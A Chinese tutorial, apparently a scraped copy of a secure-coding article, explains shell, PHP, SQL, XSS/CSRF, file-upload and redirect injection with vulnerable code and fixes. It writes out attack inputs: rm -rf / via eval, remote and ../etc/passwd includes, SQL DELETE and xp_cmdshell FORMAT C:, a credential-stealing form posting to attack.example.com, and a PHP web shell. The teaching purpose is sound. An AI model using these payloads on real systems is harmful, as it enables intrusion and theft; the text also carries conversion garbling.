程序員疫苗:代碼注入

不少程序上錯誤就像人類世界的病毒同樣,咱們應該給咱們的新入行的程序員注射一些疫苗,就像給新生兒打疫苗同樣,但願程序員從入行時就對這些錯誤有抵抗力。 javascript

個人那個疫苗網站正在建議中(很差意思拖了好久),不過,我能夠先寫一些關於程序員疫苗性質的文章,也算是熱熱身。但願你們喜歡,先向你們介紹第一注疫苗——代碼注入。 php

Shell注入

咱們先來看一段perl的代碼: html

1
2
3
4
5
6
7
8
9
10
11
useCGI qw(:standard);
$name= param('name');
$nslookup="/path/to/nslookup";
printheader;
if(open($fh,"$nslookup $name|")) {
   while(<$fh>) {
        printescapeHTML($_);
        print"<br>\n";
    }
    close($fh);
}

若是用戶輸入的參數是: java

1
coolshell.cn%20%3B%20/bin/ls%20-l

那麼,這段perl的程序就成了: node

 

1
/path/to/nslookupcoolshell.cn ;/bin/ls-l

咱們再來看一段PHP的程序: 程序員

1
2
3
$myvar='somevalue';
$x=$_GET['arg'];
eval('$myvar = '.$x.';');

eval「的參數將會視同PHP處理,因此額外的命令可被添加。例如:若是」arg」若是被設成」10; system('rm -rf /')「,後面的」system('rm -rf /')「代碼將被運行,這等同在服務器上運行開發者意料外的程序。(關於rm -rf /,你懂的,可參看「一個空格引起的悲劇」) shell

再來看一個PHP的代碼 數據庫

1
2
3
4
5
6
$isadmin= false;
...
...
foreach($_GETas$key=>$value) {
  $$key=$value;
}

若是攻擊者在查詢字符串中給定」isadmin=1″,那$isadmin將會被設爲值 「1″,而後攻擊值就取得了網站應用的admin權限了。 瀏覽器

再來看一個PHP的示例: 安全

1
2
3
4
$action='login';
   if(__isset($_GET['act'] ) )
      $action=$_GET['act'];
   require($action.'.php');

這個代碼至關危險,攻擊者有可能能夠幹這些事:

  • /test.php?act=http://evil/exploit - 注入遠程機器上有漏洞的文件。
  • /test.php?act=/home/www/bbs/upload/exploit - 從一個已經上載、叫作exploit.php文件運行其代碼。
  • /test.php?act=../../../../etc/passwd%00 - 讓攻擊者取得該UNIX系統目錄檢索下密碼文件的內容。一個使用空元字符以解除.php擴展名限制,容許訪問其餘非 .php 結尾文件。 (PHP默認值」magic_quotes_gpc = On」能夠終止這種攻擊)

這樣的示例有不少,只要你的程序有諸如:system()StartProcess()java.lang.Runtime.exec()System.Diagnostics.Process.Start()以及相似的應用程序接口,都是比較危險的,最好不要讓其中的字符串去拼裝用戶的輸入。

PHP提供escapeshellarg()escapeshellcmd()以在調用方法之前進行編碼。然而,實際上並不建議相信這些方法是安全的 。

SQL注入

SQL injection,是發生於應用程序之數據庫層的安全漏洞。簡而言之,是在輸入的字符串之中注入SQL指令,在設計不良的程序當中忽略了檢查,那麼這些注入進去的指令就會被數據庫服務器誤認爲是正常的SQL指令而運行,所以遭到破壞。

在應用程序中如有下列情況,則可能應用程序正暴露在SQL Injection的高風險狀況下:

  1. 在應用程序中使用字符串聯結方式組合SQL指令(如:引號沒有轉義)。
  2. 在應用程序連接數據庫時使用權限過大的賬戶(如:不少開發人員都喜歡用sa(最高權限的系統管理員賬戶)鏈接Microsoft SQL Server數據庫)。
  3. 在數據庫中開放了沒必要要但權力過大的功能(例如在Microsoft SQL Server數據庫中的xp_cmdshell延伸預存程序或是OLE Automation預存程序等)
  4. 過於信任用戶所輸入的數據,未限制輸入的字符數,以及未對用戶輸入的數據作潛在指令的檢查。

例程:

某個網站的登陸驗證的SQL查詢代碼爲

1
2
strSQL ="SELECT * FROM users
WHERE (name = '"+ userName +"') and (pw = '"+passWord+"');"

用戶在登陸時惡意輸入以下的的用戶名和口令:

1
userName ="' OR '1'='1";
1
passWord="' OR '1'='1";

此時,將致使本來的SQL字符串被解析爲:

1
2
strSQL ="SELECT * FROM users
WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"

也就是實際上運行的SQL命令會變成下面這樣的,所以致使無賬號密碼,也可登陸網站。

1
strSQL ="SELECT * FROM users;"

這還不算惡劣的,真正惡劣的是在你的語句後再加一個本身的語句,如:

1
username="' ; DELETE FROM users; --";

這樣一來,要麼整個數據庫的表被人盜走,要麼被數據庫被刪除。

因此SQL注入攻擊被俗稱爲黑客的填空遊戲。你是否還記得酷殼這篇文章裏的SQL注入

當他們發現一個網站有SQL注入的時候,他們通常會幹下面的事:

  • 盜取數據表中的數據,例如我的機密數據(信用卡,身份證,手機號,通信錄……),賬戶數據,密碼等,得到用戶的數據和信息後對這些用戶進行「社會工程學」活動(如:我前兩天在微信上親身經歷)。
  • 取得系統管理員權限(例如ALTER LOGIN sa WITH PASSWORD=’xxxxxx’)。
  • 在數據庫中的數據中插入一些HTML/JS代碼,有可能得以在網頁加入惡意連接以及XSS,這樣一來就讓訪問者被黑。
  • 經由數據庫服務器提供的操做系統支持,讓黑客得以修改或控制操做系統(例如:MS SQL Server的 xp_cmdshell 「net stop iisadmin」可中止服務器的IIS服務)。甚至破壞硬盤數據,癱瘓全系統(例如xp_cmdshell 「FORMAT C:」)。
如今的黑客比較壞,癱瘓系統的事,他們乾的愈來愈少,由於沒什麼利益,他們但願經過獲取用戶的賬號信息後,轉而攻擊用戶別的賬號,如遊戲賬號,網銀賬號,QQ賬號等等他們能夠獲利的事情(這就是爲何我但願你們 在不站點上使用不一樣的口令,甚至不一樣的用戶信息的緣由)

如何避免

  • 在組合SQL字符串時,先針對所傳入的參數做字符轉義(如:將單引號字符取代爲連續2個單引號字符)。若是使用PHP開發網頁程序的話,亦可打開PHP的Magic quote功能自動將全部的網頁傳入參數,將單引號字符取代爲連續2個單引號字符。若是可能應該過濾如下字符:分號「;」,兩個減號「–」,單引號「’」,註釋「/* … */」。(固然,由於注入攻擊通常用閉合的引號來玩,因此把引號轉義了應該就沒有什麼問題了)
  • 更換危險字符。例如在PHP經過addslashes()函數保護SQL注入。
  • 限制用戶輸入的長度,限制用戶輸入的取值範圍。
  • 爲當前應用創建權限比較小的數據庫用戶,這樣不會致使數據庫管理員丟失。
  • 把數據庫操做封裝成一個Service,對於敏感數據,對於每一個客戶端的IP,在必定時間內每次只返回一條記錄。這樣能夠避免被拖庫。

 

跨網站腳本注 入

跨網站腳本Cross-site scripting,一般簡稱爲XSS或跨站腳本或跨站腳本攻擊)是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它經過巧妙的方法注入惡意指令代碼到網頁,使用戶加載並執行攻擊者惡意製造的網頁程序。這些惡意網頁程序一般是JavaScript,但實際上也能夠包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻擊成功後,攻擊者可能獲得包括但不限於更高的權限(如執行一些操做)、私密網頁內容、會話和cookie等各類內容。

假如咱們有這樣一段PHP的代碼:

1
2
$username=$_GET['username'];
echo'<div> Welcome, '.$username.'</div>';

那麼咱們能夠這樣來注入:

http://trustedSite.example.com/welcome.php?username=<Script Language=」Javascript」>alert(「You’ve been attacked!」);</Script>

甚至這樣:

http://trustedSite.example.com/welcome.php?username=<div id=」stealPassword」>Please Login:<form name=」input」 action=」http://attack.example.com/stealPassword.php」 method=」post」>Username: <input type=」text」 name=」username」 /><br/>Password: <input type=」password」 name=」password」 /><input type=」submit」 value=」Login」 /></form></div>

這會讓網頁顯示如下內容:

1
2
3
4
5
6
7
8
9
10
<divclass="header"> Welcome,
    <divid="stealPassword">Please Login:
        <formname="input"action="attack.example.com/stealPassword.php"method="post">
            Username: <inputtype="text"name="username"/>
            <br/>
            Password: <inputtype="password"name="password"/>
            <inputtype="submit"value="Login"/>
        </form>
    </div>
</div>

注入的代碼還有可能變種爲以下這種更爲隱蔽的方式(unicode碼):

trustedSite.example.com/welcome.php?username=<script+type=」text/javascript」>
document.write(‘\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D’);</script>

XSS的攻擊主要是經過一段JS程序得用用戶已登陸的cookie去模擬用戶的操做(甚至偷用戶的cookie)。這個方式可讓用戶在本身不知情的狀況下操做了本身不指望的操做。若是是網站的管理員中招,還有可能致使後臺管理權限被盜。關於其中的一些細節能夠參看《新浪微博的XSS攻擊》一文。XSS攻擊是程序員有一糊塗就很容易犯的錯誤,你還能夠看看網上的《騰訊微博的XSS攻擊》。

XSS攻擊在論壇的用戶籤檔裏面(使用img標籤)也發生過不少次,包括像一些使用bcode的網站,頗有可能會被注入一些能夠被瀏覽器用來執行的代碼。包括CSS都有可能被注入javascript代碼。

另外,XSS攻擊有一部分是和瀏覽器有關的。好比,以下的一些例子,你可能歷來都沒有想過吧?(更多的例子能夠參看酷殼很早之前的這篇文章《瀏覽器HTML安全列表

1
2
3
4
5
<tablebackground=」javascript:alert(1)」>
 
<metacharset=」mac-farsi」>¼script¾alert(1)¼/script¾
 
<imgsrc=」javascript:alert(1)」>

XSS攻擊一般會引起CSRF攻擊。CSRF攻擊主要是經過在A站上設置B站點上的連接,經過使用用戶在B站點上的登陸且尚未過時的cookie,從而使得用戶的B站點被攻擊。(這得益於如今的多Tab頁的瀏覽器,你們都會同時打開並登陸不少的網站,而這些不一樣網站的頁面間的cookie又是共享的)

因而,若是我在A站點內的某個貼子內注入這麼一段代碼:

頗有可能你就在訪問A站的這個貼子時,你的網銀可能向我轉了一些錢。

如何避免

要防止XSS攻擊,通常來講有下面幾種手段:

  • 嚴格限制用戶的輸入。最好不要讓用戶輸入帶標籤的內容。最好不要讓用戶使用一些所見即所得的HTML編輯器。
  • 嚴格過濾用戶的輸入。如:
    • PHP的htmlentities()或是htmlspecialchars()或是strip_tags()
    • Python的cgi.escape()
    • ASP的Server.HTMLEncode()
    • Node.js的node-validator。
    • Java的xssprotect
  • 在一些關鍵功能,徹底不能信任cookie,必須要用戶輸入口令。如:修改口令,支付,修改電子郵件,查看用戶的敏感信息等等。
  • 限制cookie的過時時間。
  • 對於CRSF攻擊,一是須要檢查http的reference header。二是不要使用GET方法來改變數據,三是對於要提交的表單,後臺動態生成一個隨機的token,這個token是攻擊者很難僞造的。(對於token的生成,建議找一些成熟的lib庫)

另外,你可能以爲網站在處理用戶的表單提交就好了,其實不是,想想那些Web Mail,我能夠經過別的服務器向被攻擊用戶發送有JS代碼、圖片、Flash的郵件到你的郵箱,你打開一看,你就中招了。因此,WebMail通常都禁止顯示圖片和附件,這些都很危險,只有你徹底瞭解來源的狀況下才能打開。電子郵件的SMTP協議太差了,基本上沒法校驗其它郵件服務器的可信度,我甚至能夠本身建一個本機的郵件服務器,想用誰的郵件地址發信就用誰的郵件地址發信因此,我再次真誠地告訴你們,請用gmail郵箱。別再跟我說什麼QQMail之類的好用了。

上傳文件

上傳文件是一個很危險的功能,尤爲是你若是不校驗上傳文件的類型的話,你可能會中不少不少的招,這種攻擊至關狠。試想,若是用戶上傳給你一個PHP、ASP、JSP的文件,當有人訪問這個文件時,你的服務器會解釋執行之,這就至關於他能夠在你的服務器上執行一段程序。這無疑是至關危險的。

舉個例子:

上傳頁面
1
2
3
4
5
6
<formaction="upload_picture.php"method="post"enctype="multipart/form-data">
要上傳的文件:
<inputtype="file"name="filename"/>
<br/>
<inputtype="submit"name="submit"value="Submit"/>
</form>
後臺上傳文件的PHP程序
1
2
3
4
5
6
$target="pictures/".basename($_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'],$target)){
    echo"圖片文件上傳成功";
}else{</div>
    echo"圖片文件上傳失敗";
}

假如我上傳了一個PHP文件以下:

文件名malicious.php
1
2
3
<?php
system($_GET['cmd']);
?>

那麼,我就能夠經過以下的URL訪問攻擊你的網站了:

1
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l

抵禦這樣的攻擊有兩種手段:

1)限制上傳文件的文件擴展名。

2)千萬不要使用root或Administrator來運行你的Web應用。

URL跳轉

URL跳轉頗有可能會成爲攻擊利用的工具。

好比下面的PHP代碼:

1
2
$redirect_url=$_GET['url'];
header("Location: ".$redirect_url);

這樣的代碼可能很常見,好比當用戶在訪問你的網站某個頁觀的時候沒有權限,因而你的網站跳轉到登陸頁面,固然登陸完成後又跳轉回剛纔他訪問的那個頁面。通常來講,咱們都會在跳轉到登陸頁面時在URL里加上要被跳轉過去的網頁。因而會出現上述那樣的代碼。

因而咱們就能夠經過下面的URL,跳轉到一個惡意網站上,而那個網站上可能有一段CSRF的代碼在等着你,或是一個釣魚網站。

1
http://bank.example.com/redirect?url=http://attacker.example.net

這種攻擊具備的迷惑性在於,用戶看到的http://bank.example.com,覺得是一個合法網站,因而就點了這個連接,結果經過這個合法網站,把用戶帶到了一個惡意網站,而這個惡意網站上可能把頁面作得跟這個合法網站如出一轍,你還覺得訪問的是正確的地方,結果就被釣魚了

解決這個問題很簡單,你須要在你的後臺判斷一下傳過來的URL的域名是否是你本身的域名。

你能夠看看Google和Baidu搜索引擎的連接跳轉,百度的跳轉連接是被加密過的,而Google的網站連接很長,裏面有網站的明文,可是會有幾個加密過的參數,若是你把那些參數移除掉,Google會顯示一個重定向的提醒頁面。(我我的以爲仍是Google作得好)

相關文章
相關標籤/搜索